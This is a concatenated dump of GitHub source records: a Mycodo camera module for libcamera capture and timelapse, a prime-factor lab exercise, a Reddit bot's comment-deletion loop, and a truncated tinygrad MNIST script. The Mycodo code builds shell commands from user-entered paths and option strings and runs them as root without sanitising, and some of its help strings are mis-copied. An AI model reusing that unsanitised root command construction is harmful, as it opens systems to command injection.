'tl_duration_sec',\n 'type': 'integer',\n 'default_value': 2592000,\n 'required': True,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': 'Timelapse Duration (Seconds)',\n 'phrase': 'How long the timelapse will run'\n },\n {\n 'id': 'tl_period_sec',\n 'type': 'integer',\n 'default_value': 600,\n 'required': True,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': 'Timelapse Period (Seconds)',\n 'phrase': 'How often to take a timelapse photo'\n },\n {\n 'id': 'timelapse_start',\n 'type': 'button',\n 'wait_for_return': True,\n 'name': 'Start Timelapse',\n 'phrase': \"Start a timelapse with the provided options\"\n },\n {\n 'type': 'message',\n 'default_value': \"\"\"To stop an active timelapse, press Stop Timelapse.\"\"\"\n },\n {\n 'id': 'timelapse_stop',\n 'type': 'button',\n 'wait_for_return': True,\n 'name': 'Stop Timelapse',\n 'phrase': \"Stop an active timelapse\"\n },\n {\n 'type': 'message',\n 'default_value': \"\"\"To pause or resume an active timelapse, press Pause Timelapse or Resume Timelapse.\"\"\"\n },\n {\n 'id': 'timelapse_pause',\n 'type': 'button',\n 'wait_for_return': True,\n 'name': 'Pause Timelapse',\n 'phrase': \"Pause an active timelapse\"\n },\n {\n 'id': 'timelapse_resume',\n 'type': 'button',\n 'wait_for_return': True,\n 'name': 'Resume Timelapse',\n 'phrase': \"Resume an active timelapse\"\n }\n ],\n\n 'custom_options': [\n {\n 'id': 'period_status',\n 'type': 'integer',\n 'default_value': 60,\n 'required': True,\n 'name': 'Status Period (seconds)',\n 'phrase': 'The duration (seconds) to update the Function status on the UI'\n },\n {\n 'type': 'message',\n 'default_value': \"\"\"Image options.\"\"\"\n },\n {\n 'id': 'custom_path_still',\n 'type': 'text',\n 'default_value': '',\n 'required': False,\n 'name': \"Custom Image Path\",\n 'phrase': \"Set a non-default path for still images to be saved\"\n },\n {\n 'id': 'custom_path_timelapse',\n 'type': 'text',\n 'default_value': '',\n 'required': False,\n 'name': \"Custom Timelapse Path\",\n 'phrase': \"Set a non-default path for timelapse images to be saved\"\n },\n {\n 'id': 'image_extension',\n 'type': 'select',\n 'default_value': 'jpg',\n 'required': True,\n 'options_select': [\n ('jpg', 'JPG'),\n ('png', 'PNG'),\n ('bmp', 'BMP'),\n ('rgb', 'RGB'),\n ('yuv420', 'YUV420')\n ],\n 'name': 'Image Extension',\n 'phrase': 'The file type/format to save images'\n },\n {\n 'id': 'image_width',\n 'type': 'integer',\n 'default_value': 720,\n 'required': True,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': \"{}: {}: {}\".format(lazy_gettext('Image'), lazy_gettext('Resolution'), lazy_gettext('Width')),\n 'phrase': \"The width of still images\"\n },\n {\n 'id': 'image_height',\n 'type': 'integer',\n 'default_value': 480,\n 'required': True,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': \"{}: {}: {}\".format(lazy_gettext('Image'), lazy_gettext('Resolution'), lazy_gettext('Height')),\n 'phrase': \"The height of still images\"\n },\n {\n 'id': 'image_brightness',\n 'type': 'float',\n 'default_value': 0.0,\n 'required': True,\n 'name': \"{}\".format(lazy_gettext('Brightness')),\n 'phrase': \"The brightness of still images (-1 to 1)\"\n },\n {\n 'id': 'image_contrast',\n 'type': 'float',\n 'default_value': 1.0,\n 'required': True,\n 'name': \"{}: {}\".format(lazy_gettext('Image'), lazy_gettext('Contrast')),\n 'phrase': \"The contrast of still images. Larger values produce images with more contrast.\"\n },\n {\n 'id': 'image_saturation',\n 'type': 'float',\n 'default_value': 1.0,\n 'required': True,\n 'name': \"{}\".format(lazy_gettext('Saturation')),\n 'phrase': \"The saturation of still images. Larger values produce more saturated colours; 0.0 produces a greyscale image.\"\n },\n {\n 'id': 'image_sharpness',\n 'type': 'float',\n 'default_value': 0.0,\n 'required': True,\n 'name': \"{}\".format(lazy_gettext('Sharpness')),\n 'phrase': \"The sharpness of still images. Larger values produce more saturated colours; 0.0 produces a greyscale image.\"\n },\n {\n 'id': 'image_shutter_speed_us',\n 'type': 'integer',\n 'default_value': 0,\n 'required': True,\n 'name': \"{} ({})\".format(lazy_gettext('Shutter Speed'), lazy_gettext('Microseconds')),\n 'phrase': \"The shutter speed, in microseconds. 0 disables and returns to auto exposure.\"\n },\n {\n 'id': 'image_gain',\n 'type': 'float',\n 'default_value': 1.0,\n 'required': True,\n 'name': \"{}\".format(lazy_gettext('Gain')),\n 'phrase': \"The gain of still images.\"\n },\n {\n 'id': 'image_awb',\n 'type': 'select',\n 'default_value': 'auto',\n 'required': True,\n 'options_select': [\n ('auto', 'Auto'),\n ('incandescent', 'Incandescent'),\n ('tungsten', 'Tungsten'),\n ('fluorescent', 'Fluorescent'),\n ('indoor', 'Indoor'),\n ('daylight', 'Daylight'),\n ('cloudy', 'Cloudy'),\n ('custom', 'Custom')\n ],\n 'name': '{}: Auto'.format(lazy_gettext('White Balance')),\n 'phrase': 'The white balance of images'\n },\n {\n 'id': 'image_awb_gain_red',\n 'type': 'float',\n 'default_value': 0.0,\n 'required': True,\n 'name': \"{}: Red Gain\".format(lazy_gettext('White Balance')),\n 'phrase': \"The red gain of white balance for still images (disabled Auto White Balance if red and blue are not set to 0)\"\n },\n {\n 'id': 'image_awb_gain_blue',\n 'type': 'float',\n 'default_value': 0.0,\n 'required': True,\n 'name': \"{}: Blue Gain\".format(lazy_gettext('White Balance')),\n 'phrase': \"The red gain of white balance for still images (disabled Auto White Balance if red and blue are not set to 0)\"\n },\n {\n 'id': 'image_hflip',\n 'type': 'bool',\n 'default_value': False,\n 'name': 'Flip Horizontally',\n 'phrase': 'Flip the image horizontally.'\n },\n {\n 'id': 'image_vflip',\n 'type': 'bool',\n 'default_value': False,\n 'name': 'Flip Vertically',\n 'phrase': 'Flip the image vertically.'\n },\n {\n 'id': 'image_rotate',\n 'type': 'integer',\n 'default_value': 0,\n 'required': True,\n 'name': \"{} ({})\".format(lazy_gettext('Rotate'), lazy_gettext('Degrees')),\n 'phrase': \"Rotate the image.\"\n },\n {\n 'id': 'image_custom_options',\n 'type': 'text',\n 'default_value': '',\n 'required': False,\n 'name': \"Custom libcamera-still Options\",\n 'phrase': \"Pass custom options to the libcamera-still command.\"\n },\n {\n 'type': 'message',\n 'default_value': \"\"\"Video options.\"\"\"\n },\n {\n 'id': 'custom_path_video',\n 'type': 'text',\n 'default_value': '',\n 'required': False,\n 'name': \"Custom Video Path\",\n 'phrase': \"Set a non-default path for videos to be saved\"\n },\n {\n 'id': 'video_extension',\n 'type': 'select',\n 'default_value': 'h264-mp4',\n 'required': True,\n 'options_select': [\n ('h264-mp4', 'H264 -> MP4 (with ffmpeg)'),\n ('h264', 'H264'),\n ('mjpeg', 'MJPEG'),\n ('yuv420', 'YUV420')\n ],\n 'name': 'Video Extension',\n 'phrase': 'The file type/format to save videos'\n },\n {\n 'id': 'video_width',\n 'type': 'integer',\n 'default_value': 720,\n 'required': True,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': \"{}: {}: {}\".format(lazy_gettext('Video'), lazy_gettext('Resolution'), lazy_gettext('Width')),\n 'phrase': \"The width of videos\"\n },\n {\n 'id': 'video_height',\n 'type': 'integer',\n 'default_value': 480,\n 'required': True,\n 'constraints_pass': constraints_pass_positive_value,\n 'name': \"{}: {}: {}\".format(lazy_gettext('Video'), lazy_gettext('Resolution'), lazy_gettext('Height')),\n 'phrase': \"The height of videos\"\n },\n {\n 'id': 'video_custom_options',\n 'type': 'text',\n 'default_value': '',\n 'required': False,\n 'name': \"Custom libcamera-vid Options\",\n 'phrase': \"Pass custom options to the libcamera-vid command.\"\n },\n ]\n}\n\n\nclass CustomModule(AbstractFunction):\n \"\"\"\n Class to operate custom controller\n \"\"\"\n def __init__(self, function, testing=False):\n super().__init__(function, testing=testing, name=__name__)\n\n self.timer_loop = time.time()\n\n self.tl_active = None\n self.tl_pause = None\n self.tl_duration_sec = None\n self.tl_period_sec = None\n self.tl_capture_number = None\n self.tl_start_epoch = None\n self.tl_start_str = None\n self.tl_end_str = None\n self.still_last_file = None\n self.still_last_ts = None\n self.video_last_file = None\n self.video_last_ts = None\n self.tl_last_file = None\n self.tl_last_ts = None\n self.image_awb_gain_red = None\n self.image_awb_gain_blue = None\n self.image_hflip = None\n self.image_vflip = None\n\n # Initialize custom options\n self.custom_path_still = None\n self.custom_path_video = None\n self.custom_path_timelapse = None\n self.image_extension = None\n self.image_width = None\n self.image_height = None\n self.video_extension = None\n self.video_width = None\n self.video_height = None\n self.image_brightness = None\n self.image_contrast = None\n self.image_saturation = None\n self.image_sharpness = None\n self.image_shutter_speed_us = None\n self.image_gain = None\n self.image_awb = None\n self.image_rotate = None\n self.image_custom_options = None\n self.video_custom_options = None\n\n # Set custom options\n self.set_custom_options()\n\n if not testing:\n self.try_initialize()\n\n def initialize(self):\n self.timer_loop = self.get_custom_option(\"timer_loop\")\n if self.timer_loop is None:\n self.timer_loop = self.set_custom_option(\"timer_loop\", time.time())\n self.tl_duration_sec = self.get_custom_option(\"tl_duration_sec\")\n self.tl_period_sec = self.get_custom_option(\"tl_period_sec\")\n self.tl_capture_number = self.get_custom_option(\"tl_capture_number\")\n self.tl_start_epoch = self.get_custom_option(\"tl_start_epoch\")\n self.tl_start_str = self.get_custom_option(\"tl_start_str\")\n self.tl_end_str = self.get_custom_option(\"tl_end_str\")\n self.still_last_file = self.get_custom_option(\"still_last_file\")\n self.still_last_ts = self.get_custom_option(\"still_last_ts\")\n self.video_last_file = self.get_custom_option(\"video_last_file\")\n self.video_last_ts = self.get_custom_option(\"video_last_ts\")\n self.tl_last_file = self.get_custom_option(\"tl_last_file\")\n self.tl_last_ts = self.get_custom_option(\"tl_last_ts\")\n self.tl_pause = self.get_custom_option(\"tl_pause\")\n self.tl_active = self.get_custom_option(\"tl_active\")\n\n self.logger.debug(f\"Starting with tl_active {self.tl_active}, tl_pause {self.tl_pause}\")\n \n def set_custom_options(self):\n custom_function = db_retrieve_table_daemon(\n CustomController, unique_id=self.unique_id)\n self.setup_custom_options(\n FUNCTION_INFORMATION['custom_options'], custom_function)\n\n def loop(self):\n if not self.tl_active or self.timer_loop > time.time():\n return\n\n while self.timer_loop < time.time():\n self.timer_loop += self.tl_period_sec\n self.set_custom_option(\"timer_loop\", self.timer_loop)\n\n if self.tl_pause:\n return\n\n # Check if timelapse has ended:\n if self.tl_start_epoch + self.tl_duration_sec < time.time():\n self.timelapse_stop()\n return\n\n self.capture(\"timelapse\")\n self.tl_capture_number = self.set_custom_option(\n \"tl_capture_number\", self.tl_capture_number + 1)\n\n def capture(self, record_type, duration_sec=None, tmp_filename=None):\n try:\n self.set_custom_options()\n now = time.time()\n date = dt.fromtimestamp(now).strftime('%Y-%m-%d_%H-%M-%S')\n\n camera_path = assure_path_exists(\n os.path.join(PATH_CAMERAS, self.unique_id))\n\n if record_type == 'photo':\n if tmp_filename:\n save_path = \"/tmp\"\n elif self.custom_path_still:\n save_path = self.custom_path_still\n else:\n save_path = assure_path_exists(\n os.path.join(camera_path, 'still'))\n filename = f'Still-{date}.{self.image_extension}'.replace(\" \", \"_\")\n\n elif record_type == 'video':\n if tmp_filename:\n save_path = \"/tmp\"\n elif self.custom_path_video:\n save_path = self.custom_path_video\n else:\n save_path = assure_path_exists(\n os.path.join(camera_path, 'video'))\n if self.video_extension == 'h264-mp4':\n filename = f'Video-{date}.h264'.replace(\" \", \"_\")\n else:\n filename = f'Video-{date}.{self.video_extension}'.replace(\" \", \"_\")\n\n elif record_type == 'timelapse':\n if tmp_filename:\n save_path = \"/tmp\"\n elif self.custom_path_timelapse:\n save_path = self.custom_path_timelapse\n else:\n save_path = assure_path_exists(\n os.path.join(camera_path, 'timelapse'))\n filename = f'Timelapse-{self.tl_start_str}-img-{self.tl_capture_number:06d}.{self.image_extension}'.replace(\" \", \"_\")\n\n assure_path_exists(save_path)\n\n if tmp_filename:\n filename = tmp_filename\n\n path_file = os.path.join(save_path, filename)\n\n self.logger.debug(f\"Capturing {record_type} to {path_file} at {now:.0f}\")\n\n if not os.path.exists(\"/usr/bin/libcamera-still\"):\n self.logger.error(\"/usr/bin/libcamera-still not found\")\n return None, None\n elif not os.path.exists(\"/usr/bin/libcamera-vid\"):\n self.logger.error(\"/usr/bin/libcamera-vid not found\")\n return None, None\n\n if record_type in ['photo', 'timelapse']:\n cmd = f\"/usr/bin/libcamera-still \" \\\n f\"--nopreview -o {path_file} \" \\\n f\"--width {self.image_width} \" \\\n f\"--height {self.image_height} \"\n\n if self.image_brightness is not None:\n cmd += f\" --brightness {self.image_brightness:.2f}\"\n if self.image_contrast is not None:\n cmd += f\" --contrast {self.image_contrast:.2f}\"\n if self.image_saturation is not None:\n cmd += f\" --saturation {self.image_saturation:.2f}\"\n if self.image_sharpness is not None:\n cmd += f\" --sharpness {self.image_sharpness:.2f}\"\n if self.image_gain:\n cmd += f\" --gain {self.image_gain:.2f}\"\n if self.image_awb:\n cmd += f\" --awb {self.image_awb}\"\n if self.image_awb_gain_red != 0 or self.image_awb_gain_blue != 0:\n cmd += f\" --awbgains {self.image_awb_gain_red:.2f},{self.image_awb_gain_blue:.2f}\"\n if self.image_hflip:\n cmd += \" --hflip 1\"\n if self.image_vflip:\n cmd += \" --vflip 1\"\n if self.image_rotate:\n cmd += f\" --rotation {self.image_rotate}\"\n \n if self.image_extension:\n cmd += f\" --encoding {self.image_extension}\"\n if self.image_shutter_speed_us:\n cmd += f\" --shutter {self.image_shutter_speed_us}\"\n elif record_type == 'video':\n cmd = f\"/usr/bin/libcamera-vid \" \\\n f\"--timeout {int(duration_sec * 1000)} \" \\\n f\"--nopreview -o {path_file} \" \\\n f\"--width {self.video_width} \" \\\n f\"--height {self.video_height} \"\n if self.video_extension:\n if self.video_extension == 'h264-mp4':\n cmd += f\" --codec h264 \"\n else:\n cmd += f\" --codec {self.video_extension} \"\n\n if record_type in ['photo', 'timelapse'] and self.image_custom_options:\n cmd += f\" {self.image_custom_options}\"\n elif record_type == 'video' and self.video_custom_options:\n cmd += f\" {self.video_custom_options}\"\n\n out, err, status = cmd_output(cmd, stdout_pipe=False, user='root')\n self.logger.debug(\n f\"Camera debug message: cmd: {cmd}; out: {out}; error: {err}; status: {status}\")\n\n if record_type == 'video' and self.video_extension == 'h264-mp4':\n out_file = f'Video-{date}.mp4'.replace(\" \", \"_\")\n out_path = os.path.join(save_path, out_file)\n cmd = f'ffmpeg -framerate 24 -i {path_file} -c copy {out_path}'\n out, err, status = cmd_output(cmd, stdout_pipe=False, user='root')\n self.logger.debug(\n f\"ffmpeg debug message: cmd: {cmd}; out: {out}; error: {err}; status: {status}\")\n filename = out_file\n\n if tmp_filename:\n # Don't save tmp files as last file in the database\n pass\n elif record_type == 'photo':\n self.still_last_file = self.set_custom_option(\"still_last_file\", filename)\n self.still_last_ts = self.set_custom_option(\"still_last_ts\", now)\n elif record_type == 'video':\n self.video_last_file = self.set_custom_option(\"video_last_file\", filename)\n self.video_last_ts = self.set_custom_option(\"video_last_ts\", now)\n elif record_type == 'timelapse':\n self.tl_last_file = self.set_custom_option(\"tl_last_file\", filename)\n self.tl_last_ts = self.set_custom_option(\"tl_last_ts\", now)\n except:\n self.logger.exception(\"libcamera\")\n\n return save_path, filename\n\n def capture_image(self, args_dict=None):\n \"\"\"Capture a still image\"\"\"\n tmp_filename = None\n if \"tmp_filename\" in args_dict:\n tmp_filename = args_dict[\"tmp_filename\"]\n path, filename = self.capture(\"photo\", tmp_filename=tmp_filename)\n response = {\n 'message': \"Image captured.\",\n 'path': path,\n 'filename': filename\n }\n return response\n\n def capture_video(self, args_dict=None):\n \"\"\"Capture a video\"\"\"\n if 'vid_duration_sec' not in args_dict or 'vid_duration_sec' not in args_dict:\n self.logger.error(\"Invalid video duration.\")\n return\n self.capture(\"video\", duration_sec=args_dict['vid_duration_sec'])\n return \"Video capturing in background.\"\n\n def timelapse_start(self, args_dict=None):\n \"\"\"Start a timelapse.\"\"\"\n now = time.time()\n if self.tl_active:\n self.logger.error(\"Cannot activate timelapse, it is already active.\")\n return\n if 'tl_duration_sec' not in args_dict or 'tl_period_sec' not in args_dict:\n self.logger.error(\"Invalid timelapse duration or period.\")\n return\n self.logger.debug(\n f\"Timelapse started for {args_dict['tl_duration_sec']} seconds \"\n f\"at a period of {args_dict['tl_period_sec']} seconds.\")\n self.tl_duration_sec = self.set_custom_option(\"tl_duration_sec\", args_dict['tl_duration_sec'])\n self.tl_period_sec = self.set_custom_option(\"tl_period_sec\", args_dict['tl_period_sec'])\n self.tl_capture_number = self.set_custom_option(\"tl_capture_number\", 1)\n self.tl_start_epoch = self.set_custom_option(\"tl_start_epoch\", now)\n start_str = dt.fromtimestamp(\n self.tl_start_epoch).strftime(\"%Y-%m-%d %H:%M:%S\")\n self.tl_start_str = self.set_custom_option(\"tl_start_str\", start_str)\n end_str = dt.fromtimestamp(\n self.tl_start_epoch + self.tl_duration_sec).strftime(\"%Y-%m-%d %H:%M:%S\")\n self.tl_end_str = self.set_custom_option(\"tl_end_str\", end_str)\n self.tl_pause = self.set_custom_option(\"tl_pause\", False)\n self.tl_active = self.set_custom_option(\"tl_active\", True)\n self.timer_loop = now\n return \"Timelapse started.\"\n\n def timelapse_pause(self, args_dict=None):\n \"\"\"Pause a timelapse.\"\"\"\n if self.tl_pause:\n self.logger.error(\"Cannot pause timelapse, it is already paused.\")\n return\n self.logger.debug(\"Timelapse paused.\")\n self.tl_pause = self.set_custom_option(\"tl_pause\", True)\n return \"Timelapse paused.\"\n \n def timelapse_resume(self, args_dict=None):\n \"\"\"Resume a timelapse.\"\"\"\n if not self.tl_pause:\n self.logger.error(\"Cannot resume timelapse, it is not paused.\")\n return\n self.logger.debug(\"Timelapse resumed.\")\n self.tl_pause = self.set_custom_option(\"tl_pause\", False)\n return \"Timelapse resumed.\"\n\n def timelapse_stop(self, args_dict=None):\n \"\"\"Stop a timelapse.\"\"\"\n if not self.tl_active:\n self.logger.error(\"Cannot stop timelapse, it is not active.\")\n return\n self.logger.debug(\"Timelapse stopped.\")\n self.tl_pause = self.set_custom_option(\"tl_pause\", False)\n self.tl_active = self.set_custom_option(\"tl_active\", False)\n return \"Timelapse stopped.\"\n\n def function_status(self):\n now = time.time()\n\n if self.tl_active:\n if self.tl_pause:\n str_timelapse = f\"Time-lapse Status: PAUSED\"\n else:\n str_timelapse = f\"Time-lapse Status: ACTIVE\"\n\n str_timelapse += f\"
Start: {self.tl_start_str}\" \\\n f\"
End: {self.tl_end_str}\" \\\n f\"
Duration (Seconds): {self.tl_duration_sec}\" \\\n f\"
Period (Seconds): {self.tl_period_sec}\" \\\n f\"
Next Capture Number: {self.tl_capture_number}\"\n\n if not self.tl_pause:\n next_capture_str = dt.fromtimestamp(\n self.timer_loop).strftime(\"%Y-%m-%d %H:%M:%S\")\n next_sec = \"\"\n if self.timer_loop > now:\n next_sec = f\" ({self.timer_loop - now:.0f} seconds)\"\n str_timelapse += f\"
Next Capture Time: {next_capture_str}{next_sec}\"\n else:\n str_timelapse = \"Time-lapse Status: INACTIVE\"\n\n return_str = {\n 'string_status': str_timelapse,\n 'error': []\n }\n return return_str\n","repo_name":"kizniche/Mycodo","sub_path":"mycodo/functions/camera_libcamera.py","file_name":"camera_libcamera.py","file_ext":"py","file_size_in_byte":29622,"program_lang":"python","lang":"en","doc_type":"code","stars":2708,"dataset":"github-code","pt":"61"} +{"seq_id":"13839134366","text":"import math\n\ndef factors(num):\n '''\n Returns a list containing the prime factors of 'num'. The primes should be\n listed in ascending order.\n\n For example:\n >>> factors(16)\n [2, 2, 2, 2]\n >>> factors(21)\n [3, 7]\n\n Parameters:\n None\n\n Returns:\n prime_factors (List): list of prime factors of num\n '''\n # Check if num is a negative number\n # Raise error if so\n if num < 1:\n raise Exception('Invalid input. Number cannot be less than 1')\n\n\n # Set an empty list to be filled with prime factors\n prime_factors = []\n \n # Prime numbers starting from 2\n d = 2\n # Only enter while loop if multiples of 2 as a prime is less than num\n # As 2 * 2 = 4. Anything greater than 4 will have prime factors\n while d * d <= num:\n # Add to the prime_factors list if the num is divisible by d\n while (num % d) == 0:\n prime_factors.append(d)\n # Reduce the num by d to see if there are any other prime factors of nums\n num //=d\n d += 1\n # Otherwise if num is greater than 1 and 1 only, then append to the list\n if num > 1:\n prime_factors.append(num)\n\n\n return prime_factors\n","repo_name":"eleans412/COMP1531-21T1","sub_path":"labs/lab04/primes.py","file_name":"primes.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39260489720","text":"from praw.models import Comment\n\nfrom src import (\n reddit,\n replies,\n)\nfrom src.config import parse_time\nfrom src.database import (\n BadUsernamesDatabase,\n UniqueConstraintFailed,\n)\nfrom src.mixins import (\n ProcessMixin,\n StreamMixin,\n)\nfrom src.util import logger\n\n\nclass Controversial(ProcessMixin, StreamMixin):\n \"\"\"\n Bot-made comment deleter if any are below the score threshold\n \"\"\"\n\n MIN_SCALE = 0.25\n MAX_DELAY = parse_time('1h')\n\n @staticmethod\n def choose_delay(score, threshold):\n \"\"\"\n Chooses a delay relative to the MAX_DELAY based on the score and\n threshold. The further the score is from the threshold, the larger the\n delay. The closer the score is to the threshold, the smaller the delay.\n\n Returns the delay in seconds (float)\n \"\"\"\n if score <= threshold:\n # the score is already below the threshold; just return the min\n # delay\n scale = Controversial.MIN_SCALE\n\n else:\n # scale the delay based on the score's distance from the threshold\n ratio = float(score) / float(threshold)\n # abs() in case the ratio is > 1 (eg. 100 / 5)\n scale = abs(1.0 - ratio)\n # don't scale below MIN_SCALE\n scale = max(Controversial.MIN_SCALE, scale)\n # don't scale above MAX_DELAY\n scale = min(scale, 1.0)\n\n return Controversial.MAX_DELAY * scale\n\n def __init__(self, cfg, rate_limited):\n ProcessMixin.__init__(self)\n StreamMixin.__init__(self, cfg, rate_limited)\n\n self.bad_usernames = BadUsernamesDatabase()\n\n @property\n def _stream(self):\n # don't cache the controversial list generator since we want to check\n # all comments every pass\n return self._reddit.user.me().controversial(\n # the limit doesn't need to be > 100 (1 network request)\n # because if there are more than that many under-threshold\n # comments then\n # 1. the bot is probably unwanted in general and\n # 2. it will delete more the next pass\n # [March 20, 2018] increased limit to 200 because the stream\n # is only returning 75 elements for some reason\n time_filter='all', limit=200,\n )\n\n def _run_forever(self):\n while not self._killed.is_set():\n logger.id(logger.debug, self, 'Processing controversial ...')\n\n threshold = self.cfg.delete_comment_threshold\n # arbitrary large value guaranteed to be > threshold\n lowest_score = abs(threshold) * 1000\n seen = set()\n for comment in self.stream:\n if comment in seen or self._killed.is_set():\n break\n\n if not isinstance(comment, Comment):\n # don't try to delete non-comments (eg. FAQ post)\n continue\n\n seen.add(comment)\n if comment.score <= threshold:\n # score too low\n\n # flag the username(s) so that they aren't matched as\n # potential usernames in the future\n ig_usernames = replies.Formatter.ig_users_in(comment.body)\n if not ig_usernames:\n # either reply format changed or this thing is somehow\n # not a bot reply\n logger.id(logger.debug, self,\n 'No instagram usernames found in'\n '{color_thing}!',\n color_thing=reddit.display_id(comment),\n )\n\n for username in ig_usernames:\n if username not in self.bad_usernames:\n logger.id(logger.debug, self,\n 'Adding \\'{color_username}\\' as a bad'\n ' username ...',\n color_username=username,\n )\n\n try:\n with self.bad_usernames:\n self.bad_usernames.insert(username, comment)\n\n except UniqueConstraintFailed:\n # this should mean that the bot made multiple\n # bad replies with the same username to\n # different posts before it was added as a bad\n # username\n logger.id(logger.warn, self,\n '\\'{color_username}\\' already in'\n ' bad_usernames database!',\n exc_info=True,\n )\n\n # delete the comment\n logger.id(logger.info, self,\n 'Deleting {color_comment}: score too low'\n ' ({score} <= {threshold})',\n color_comment=reddit.display_id(comment),\n score=comment.score,\n threshold=threshold,\n )\n try:\n comment.delete()\n\n except Exception:\n # XXX: I'm not sure if delete can fail\n logger.id(logger.warn, self,\n 'Failed to delete {color_comment}!',\n color_comment=reddit.display_id(comment),\n exc_info=True,\n )\n\n else:\n # note the lowest score we see above the threshold so the\n # delay can be adjusted\n lowest_score = min(lowest_score, comment.score)\n\n if seen:\n logger.id(logger.debug, self,\n 'Processed #{num} comment{plural}:'\n ' lowest score = {lowest}',\n num=len(seen),\n plural=('' if len(seen) == 1 else 's'),\n lowest=lowest_score,\n )\n\n delay = 0\n if not self._killed.is_set():\n # adjust the delay so that we are waiting less time between\n # checks if we've seen a comment score closer to the threshold\n # and more time if all comment scores are further from the\n # threshold.\n delay = Controversial.choose_delay(lowest_score, threshold)\n logger.id(logger.debug, self,\n 'Waiting {time} before checking controversial'\n ' again ...',\n time=delay,\n )\n self._killed.wait(delay)\n\n if self._killed.is_set():\n logger.id(logger.debug, self, 'Killed!')\n\n\n__all__ = [\n 'Controversial',\n]\n\n","repo_name":"lv10wizard/ig-highlights-bot","sub_path":"src/controversial.py","file_name":"controversial.py","file_ext":"py","file_size_in_byte":7132,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"21771239582","text":"#!/usr/bin/env python\n#inspired by https://github.com/Matuzas77/MNIST-0.17/blob/master/MNIST_final_solution.ipynb\nimport sys\nimport numpy as np\nfrom tinygrad.nn.state import get_parameters\nfrom tinygrad.tensor import Tensor\nfrom tinygrad.nn import BatchNorm2d, optim\nfrom tinygrad.helpers import getenv\nfrom extra.datasets import fetch_mnist\nfrom extra.augment import augment_img\nfrom extra.training import train, evaluate\nGPU = getenv(\"GPU\")\nQUICK = getenv(\"QUICK\")\nDEBUG = getenv(\"DEBUG\")\n\nclass SqueezeExciteBlock2D:\n def __init__(self, filters):\n self.filters = filters\n self.weight1 = Tensor.scaled_uniform(self.filters, self.filters//32)\n self.bias1 = Tensor.scaled_uniform(1,self.filters//32)\n self.weight2 = Tensor.scaled_uniform(self.filters//32, self.filters)\n self.bias2 = Tensor.scaled_uniform(1, self.filters)\n\n def __call__(self, input):\n se = input.avg_pool2d(kernel_size=(input.shape[2], input.shape[3])) #GlobalAveragePool2D\n se = se.reshape(shape=(-1, self.filters))\n se = se.dot(self.weight1) + self.bias1\n se = se.relu()\n se = se.dot(self.weight2) + self.bias2\n se = se.sigmoid().reshape(shape=(-1,self.filters,1,1)) #for broadcasting\n se = input.mul(se)\n return se\n\nclass ConvBlock:\n def __init__(self, h, w, inp, filters=128, conv=3):\n self.h, self.w = h, w\n self.inp = inp\n #init weights\n self.cweights = [Tensor.scaled_uniform(filters, inp if i==0 else filters, conv, conv) for i in range(3)]\n self.cbiases = [Tensor.scaled_uniform(1, filters, 1, 1) for i in range(3)]\n #init layers\n self._bn = BatchNorm2d(128)\n self._seb = SqueezeExciteBlock2D(filters)\n\n def __call__(self, input):\n x = input.reshape(shape=(-1, self.inp, self.w, self.h))\n for cweight, cbias in zip(self.cweights, self.cbiases):\n x = x.pad2d(padding=[1,1,1,1]).conv2d(cweight).add(cbias).relu()\n x = self._bn(x)\n x = self._seb(x)\n return x\n\nclass BigConvNet:\n def __init__(self):\n self.conv = [ConvBlock(28,28,1), ConvBlock(28,28,128), ConvBlock(14,14,128)]\n self.weight1 = Tensor.scaled_uniform(128,10)\n self.weight2 = Tensor.scaled_uniform(128,10)\n\n def parameters(self):\n if DEBUG: #keeping this for a moment\n pars = [par for par in get_parameters(self) if par.requires_grad]\n no_pars = 0\n for par in pars:\n print(par.shape)\n no_pars += np.prod(par.shape)\n print('no of parameters', no_pars)\n return pars\n else:\n return get_parameters(self)\n\n def save(self, filename):\n with open(filename+'.npy', 'wb') as f:\n for par in get_parameters(self):\n #if par.requires_grad:\n np.save(f, par.numpy())\n\n def load(self, filename):\n with open(filename+'.npy', 'rb') as f:\n for par in get_parameters(self):\n #if par.requires_grad:\n try:\n par.numpy()[:] = np.load(f)\n if GPU:\n par.gpu()\n except:\n print('Could not load parameter')\n\n def forward(self, x):\n x = self.conv[0](x)\n x = self.conv[1](x)\n x = x.avg_pool2d(kernel_size=(2,2))\n x = self.conv[2](x)\n x1 = x.avg_pool2d(kernel_size=(14,14)).reshape(shape=(-1,128)) #global\n x2 = x.max_pool2d(kernel_size=(14,14)).reshape(shape=(-1,128)) #global\n xo = x1.dot(self.weight1) + x2.dot(self.weight2)\n return xo\n\n\nif __name__ == \"__main__\":\n lrs = [1e-4, 1e-5] if QUICK else [1e-3, 1e-4, 1e-5, 1e-5]\n epochss = [2, 1] if QUICK else [13, 3, 3, 1]\n BS = 32\n\n lmbd = 0.00025\n lossfn = lambda out,y: out.sparse_categorical_crossentropy(y) + lmbd*(model.weight1.abs() + model.weight2.abs()).sum()\n X_train, Y_train, X_test, Y_test = fetch_mnist()\n X_train = X_train.reshape(-1, 28, 28).astype(np.uint8)\n X_test = X_test.reshape(-1, 28, 28).astype(np.uint8)\n steps = len(X_train)//BS\n np.random.seed(1337)\n if QUICK:\n steps = 1\n X_test, Y_test = X_test[:BS], Y_test[:BS]\n\n model = BigConvNet()\n\n if len(sys.argv) > 1:\n try:\n model.load(sys.argv[1])\n print('Loaded weights \"'+sys.argv[1]+'\", evaluating...')\n evaluate(model, X_test, Y_test, BS=BS)\n except:\n print('could not load weights \"'+sys.argv[1]+'\".')\n\n if GPU:\n params = get_parameters(model)\n [x.gpu_() for x in params]\n\n for lr, epochs in zip(lrs, epochss):\n optimizer = optim.Adam(model.parameters(), lr=lr)\n for epoch in range(1,epochs+1):\n #first epoch without augmentation\n X_aug = X_train if epoch == 1 else augment_img(X_train)\n train(model, X_aug, Y_train, optimizer, steps=steps, lossfn=lossfn, BS=BS)\n accuracy = evaluate(model, X_test, Y_test, BS=BS)\n model.save(f'examples/checkpoint{accuracy * 